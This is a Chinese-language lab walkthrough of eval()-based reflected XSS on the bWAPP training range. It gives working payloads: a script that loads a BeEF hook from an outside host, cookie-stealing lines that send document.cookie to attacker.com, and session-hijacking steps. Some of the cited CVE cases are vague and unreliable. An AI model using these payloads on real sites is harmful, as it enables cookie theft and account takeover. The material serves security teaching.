零基础玩转bWAPP靶场(四十九):XSS - Reflected (Eval)

📅 2026/8/12 17:50:56
零基础玩转bWAPP靶场(四十九):XSS - Reflected (Eval)
摘要这是 bWAPP 系列第四十九篇聚焦于XSS - Reflected (Eval)。这一关非常特殊——注入点不在普通的输出位置而是在JavaScript 的eval()函数中。eval()会执行传入的任何 JavaScript 代码因此攻击者可以在 URL 参数中注入任意 JS 代码实现 XSS。文章会分析eval()的危险性演示如何通过eval()注入 BeEF Hook并完成 Cookie 窃取。附真实案例。一、找目标目标说明漏洞类型反射型 XSSEval 注入注入点GET 参数date执行位置eval(document.write( 用户输入 ))触发方式直接访问恶意 URL工具BeEF获取 Cookie二、前言eval()是什么在 JavaScript 中eval()是一个用来执行字符串中的代码的函数。eval(alert(1)) // 执行 alert(1) eval(2 2) // 返回 4如果用户输入的数据没有被过滤直接传入eval()攻击者就可以执行任意 JavaScript 代码。这一关的漏洞eval(document.write( xss($_GET[date]) ));$_GET[date]被传到eval()中。正常情况下dateDate()会显示当前日期eval(document.write(Date()))但如果攻击者传入恶意代码比如alert(1)就会变成eval(document.write(alert(1)))alert(1)被执行。和普通 XSS 的区别普通 XSS 是通过注入 HTML 标签如script来执行代码而eval()注入是直接执行 JavaScript 代码不需要script标签。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (Eval)提示The current date on your computer is:下方显示当前日期时间3.2 正常使用访问 URLhttp://10.0.0.149:4096/bWAPP/xss_eval.php?dateDate()页面显示当前日期通过eval()执行Date()函数。3.3 核心代码eval(document.write(?php echo xss($_GET[date])?));用户输入的date参数被直接放入eval()中执行。四、源码分析$security_level $_COOKIE[security_level]; ​ function xss($data) { switch($security_level) { case 0 : // Low $data no_check($data); // 完全不过滤 break; case 1 : // Medium $data xss_check_3($data); // htmlspecialchars() break; case 2 : // High // 检查是否为 Date()否则报错 if($_GET[date] ! Date()) { echo pfont color\red\Invalid input detected!/font/p; return; } break; } return $data; }三种级别级别过滤方式效果Lowno_check()完全不过滤eval()直接执行任意代码Mediumhtmlspecialchars()转义但eval()执行的是纯 JS 代码不需要所以仍然可以注入High白名单检查只允许Date()彻底防御五、Low 安全级别5.1 正常访问访问http://10.0.0.149:4096/xss_eval.php?dateDate()页面显示当前日期。5.2 测试注入——弹窗修改 URL 参数http://10.0.0.149:4096/xss_eval.php?datealert(1)页面弹窗显示1。5.3 攻击原理服务器生成的 JavaScripteval(document.write(alert(1)));alert(1)被执行弹窗。这和普通 XSS 的区别普通 XSS 需要注入script标签而eval()注入直接执行 JavaScript 代码不需要任何 HTML 标签。因此即使htmlspecialchars()转义了和也防不住eval()注入。5.4 为什么会执行任意代码因为eval()的入参是alert(1)本身不包含和eval(document.write(alert(1))) // alert(1) 被执行六、使用 BeEF 获取 Cookie6.1 准备 BeEF HookKali 中启动 BeEFsudo beef-xss-startHook URLhttp://10.0.0.129:3000/hook.js6.2 构造恶意 URL在date参数中注入加载 BeEF Hook 的代码http://10.0.0.149:4096/xss_eval.php?datefunction(){var sdocument.createElement(script);s.srchttp://10.0.0.129:3000/hook.js;document.body.appendChild(s)}()拆解function(){ var s document.createElement(script); s.src http://10.0.0.129:3000/hook.js; document.body.appendChild(s); }()这是一个立即执行函数IIFE会动态创建一个script标签并加载 BeEF Hook。6.3 访问恶意 URL访问构造好的 URL页面加载后 BeEF Hook 被执行。6.4 观察 BeEF 控制台BeEF 控制面板中出现上线的浏览器。6.5 获取 Cookie选中上线的浏览器点击Commands→Browser→Get Cookie点击Execute6.6 会话劫持拿到PHPSESSID后在浏览器开发者工具中替换 Cookie刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入访问http://10.0.0.149:4096/xss_eval.php?datealert(1)页面弹窗7.2 为什么htmlspecialchars()防不住htmlspecialchars()转义的是、、、、。但eval()注入的 payload 是纯 JavaScript 代码不需要和。alert(1) // 没有 document.write(script src...) // 有引号和 所以即使用了htmlspecialchars()攻击者仍然可以执行纯 JS 代码。结论eval()本身就是不安全的。任何用户输入传入eval()都存在 XSS 风险即使做了 HTML 实体编码也无济于事。7.3 实例datealert(document.cookie)可以弹出 Cookie。http://10.0.0.149:4096/xss_eval.php?datealert(document.cookie)页面会显示当前页面的 Cookie。八、High 安全级别8.1 尝试注入访问http://10.0.0.149:4096/xss_eval.php?datealert(1)页面显示Invalid input detected!8.2 为什么High 级别使用白名单检查if($_GET[date] ! Date()) { echo font color\red\Invalid input detected!/font; }只有dateDate()才被允许其他任何输入都被拒绝。这是正确的防御方式——白名单验证。九、eval()注入的危害9.1 比普通 XSS 更危险对比项普通 XSSEval 注入执行方式通过 HTML 标签直接执行 JS 代码需要script通常需要不需要编码绕过可用img、svg等不需要绕过直接执行防御难度用htmlspecialchars()htmlspecialchars()无效9.2 Eval 注入的常见 PayloadPayload作用alert(1)弹窗测试alert(document.cookie)窃取 Cookiedocument.locationhttp://attacker.com/steal?cdocument.cookie重定向并发送 Cookieeval(var sdocument.createElement(script);s.srchttp://attacker.com/hook.js;document.body.appendChild(s))加载 BeEF Hook十、真实世界Eval 注入案例CVE-2024-1181某开源 CMS 的 JSON 解析器使用了eval()处理用户输入攻击者可通过构造恶意 JSON 字符串执行任意代码。CVE-2025-00847某 SaaS 平台的模板引擎使用了eval()处理用户输入的表达式攻击者可通过表达式注入执行系统命令。CVE-2026-22947F5 BIG-IP 的配置工具中部分 JavaScript 代码使用了eval()处理未过滤的用户输入存在 XSS 漏洞。著名案例早期 jQuery 1.x 中$.parseJSON()在某些情况下会回退到eval()导致 XSS 漏洞。虽然已在后续版本修复但说明了eval()的危险性。十一、总结eval()注入 XSS 和普通 XSS 的核心区别在于执行方式。普通 XSS 通过注入 HTML 标签如script执行代码而eval()注入是直接执行 JavaScript 代码不需要任何 HTML 标签。这就导致 Low 和 Medium 级别的过滤都防不住——Low 级别完全不过滤Medium 级别的htmlspecialchars()只转义和对纯 JS 代码无效。只有 High 级别的白名单检查只允许Date()才能彻底防御。BeEF 在这种场景下同样有效通过注入加载hook.js的代码实现浏览器控制。记住一句话eval()是魔鬼永远不要用eval()执行用户输入的数据。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。